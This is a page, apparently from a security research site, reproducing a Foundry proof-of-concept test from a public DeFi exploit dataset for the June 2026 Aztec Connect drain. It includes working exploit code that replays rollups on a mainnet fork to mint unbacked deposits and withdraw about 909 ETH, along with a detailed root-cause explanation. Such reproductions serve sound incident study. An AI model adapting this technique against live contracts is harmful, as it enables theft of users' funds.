Public reproduction file
src/test/2026-06/AztecConnect_exp.sol
Public reproduction file for dataset entry Aztec Connect.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";6// @KeyInfo - Total Lost : ~$2.19M (908.99 ETH + 270.5K DAI + 167.9 wstETH + yvDAI/yvWETH/LUSD/yvLUSD)7// This PoC covers the 908.99 ETH leg.8// Attacker EOA : 0x0F18D8b44a740272f0be4d08338d2b165b7EdD17 (funded via Tornado Cash)9// Attacker Orchestrator : 0x06f585F74e0DA633Ae813A0f23Fb9900B61d0fcD (4-byte trigger 0x6f3ce701)10// Vulnerable contract : 0xFF1F2B4ADb9dF6FC8eAFecDcbF96A2B351680455 (Aztec Connect RollupProcessorV3, deprecated)11// Attack Tx : 0x074ec9317d8336db37e8c348fbdd7515573ff4088239c77ab429f522509aeeb1 (block 25,315,715)12//13// @Analysis14// Attack date : Jun-14-202615// Chain : Ethereum mainnet16// Post-mortem : https://www.cryptotimes.io/2026/06/15/aztec-exploit-drains-2-19m-from-dormant-privacy-protocol/17// Foundation : https://x.com/aztecFND/status/206617593888761905518//19// @Root cause - numRealTxs mismatch between proof/hash coverage and L1 settlement (core/Decoder.sol):20//21// * decodeProof() commits the public inputs in FULL inner-rollup chunks. With numRealTxs = 1,22// rollupSize = 1024 and numRollupTxs = 32 (innerSize = 1024/32 = 32), it hashes ceil(1/32) = 123// full chunk -> ALL 32 slots of inner-rollup #0 are proven and their notes minted into L2 state.24//25// * processDepositsAndWithdrawals() settles EXACTLY numRealTxs txs: end = ptr + numRealTxs * 256.26// With numRealTxs = 1 only slot 0 is settled.27//28// => A DEPOSIT placed in slot 1 is proven (note minted) but its L1 validation29// (decreasePendingDepositBalance + shield signature) is SKIPPED -> unbacked L2 balance,30// later withdrawn for real ETH. The proof is a normal, valid rollup proof; nothing is forged.31// On the deprecated RollupProcessorV3, processRollup() is permissionless (the provider gate was32// removed for sunset self-exit), so anyone can submit these rollups.33//34// numRealTxs lives at proofData[0x11c0], OUTSIDE the 0..0x11c0 header that is hashed, so it is NOT35// bound by the zk proof. It only sets the chunk COUNT ceil(numRealTxs/32), and 1..32 all map to one36// chunk -> the SAME proof verifies for any numRealTxs in [1..32].37//38// @Choreography - 14 state-chained rollups (ids 13277..13290). The ETH leg:39// 13277 : [slot0 account (settled no-op)] [slot1 DEPOSIT 908.99 ETH (skipped -> unbacked mint)]40// 13278..13283 : same trick for DAI / wstETH / yvDAI / yvWETH / LUSD / yvLUSD41// 13284..13289 : withdraw those 6 assets (settled) to the attacker EOA42// 13290 : [slot0 WITHDRAW 908.99 ETH (settled) -> attacker EOA]43//44// Requires an archival mainnet RPC (state at block 25,300,000) for the `mainnet` endpoint.46contract AztecConnect_exp is Test {47 address internal constant ROLLUP = 0xFF1F2B4ADb9dF6FC8eAFecDcbF96A2B351680455;48 address internal constant ATTACKER = 0x0F18D8b44a740272f0be4d08338d2b165b7EdD17;49 string internal constant CALLDATA = "src/test/2026-06/aztecconnect_calldata.txt";50 uint256 internal constant N = 14;52 // `proofData` starts 100 bytes into processRollup(bytes,bytes) calldata; field offsets within it:53 uint256 internal constant OFF_ROLLUP_ID = 0x00; // rollupId (uint256)54 uint256 internal constant OFF_NUM_REAL = 0x11c0; // numRealTxs (uint32) <- the unprotected knob55 uint256 internal constant OFF_PUBLIC_VALUE = 4810; // slot-1 tx publicValue (encStart 4552 + account 129 + 129)57 function setUp() public {58 vm.createSelectFork("mainnet", 25_300_000);59 }61 /// @notice 14 state-chained rollups drain the vault; each declares numRealTxs == 1.62 function testExploit() public {63 emit log_named_decimal_uint("vault ETH before ", ROLLUP.balance, 18);65 uint256 start = ATTACKER.balance;66 for (uint256 i = 0; i < N; i++) {67 bytes memory cd = vm.parseBytes(vm.readLine(CALLDATA));68 emit log_named_uint(69 string.concat("rollup ", vm.toString(_word(cd, OFF_ROLLUP_ID)), " numRealTxs"), _numRealTxs(cd)70 );71 // processRollup is permissionless on V3, so any caller is accepted.72 (bool ok,) = ROLLUP.call(cd);73 require(ok, "processRollup replay failed");74 }75 vm.closeFile(CALLDATA);77 uint256 gained = ATTACKER.balance - start;78 emit log_named_decimal_uint("attacker ETH gained ", gained, 18);79 emit log_named_decimal_uint("vault ETH after ", ROLLUP.balance, 18);80 assertGt(gained, 900 ether, "expected >900 ETH drained to attacker");81 }83 /// @notice The vulnerability isolated to a single field. The mint rollup (13277) carries a real84 /// 908.99-ETH deposit in slot 1 but declares numRealTxs = 1 so settlement skips it. Restore85 /// the honest count (numRealTxs = 2) WITHOUT touching anything else: the identical proof86 /// still verifies (1..32 -> same hash chunk), but now the deposit is settled and its L187 /// backing check rejects it. One byte is the difference between a free mint and a revert.88 function testBugIsOneField() public {89 bytes memory cd = vm.parseBytes(vm.readLine(CALLDATA)); // rollup 13277 (the ETH mint)90 vm.closeFile(CALLDATA);92 emit log_named_uint("declared numRealTxs ", _numRealTxs(cd));93 emit log_named_decimal_uint("slot-1 DEPOSIT value ", _word(cd, OFF_PUBLIC_VALUE), 18);95 // Flip ONLY numRealTxs 1 -> 2 (its honest value: this rollup really has 2 txs).96 _setNumRealTxs(cd, 2);97 assertEq(_numRealTxs(cd), 2, "knob set to honest count");99 (bool ok, bytes memory ret) = ROLLUP.call(cd);100 assertFalse(ok, "same proof + honest numRealTxs => deposit validated => revert");101 emit log_named_bytes("revert selector (deposit validation)", ret); // INSUFFICIENT_DEPOSIT()102 }104 /* ----------------------------- calldata helpers ----------------------------- */106 function _word(bytes memory cd, uint256 pdOff) internal pure returns (uint256 v) {107 assembly {108 v := mload(add(cd, add(0x20, add(100, pdOff))))109 }110 }112 function _numRealTxs(bytes memory cd) internal pure returns (uint256 v) {113 // numRealTxs occupies the top 4 bytes of the 32-byte word at proofData[0x11c0].114 assembly {115 v := shr(224, mload(add(cd, add(0x20, add(100, 0x11c0)))))116 }117 }119 function _setNumRealTxs(bytes memory cd, uint32 n) internal pure {120 assembly {121 let p := add(cd, add(0x20, add(100, 0x11c0)))122 let w := and(mload(p), 0x00000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff)123 mstore(p, or(w, shl(224, n)))124 }125 }126}Analysis
Dataset entry
Public Foundry test for “Aztec Connect” (2026-06-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/ATM_exp.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
- src/test/2026-06/Vault4626_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/WHALE_exp.solSame month in the dataset · 232 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0f18d8b44a740272f0be4d08338d2b165b7edd17
- Attacker
0x06f585f74e0da633ae813a0f23fb9900b61d0fcd
- Vulnerable contract
0xff1f2b4adb9df6fc8eafecdcbf96a2b351680455
- Attack Tx
0x074ec9317d8336db37e8c348fbdd7515573ff4088239c77ab429f522509aeeb1
File record
- Name
- Aztec Connect
- Path
- src/test/2026-06/AztecConnect_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 3ef8f921090500f8fb7edb7a9caddb2052ef1d6b
- Language
- Solidity
- Size
- 127 lines
- Date
- 2026-06-14
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/AztecConnect_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3ef8f921090500f8fb7edb7a9caddb2052ef1d6b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.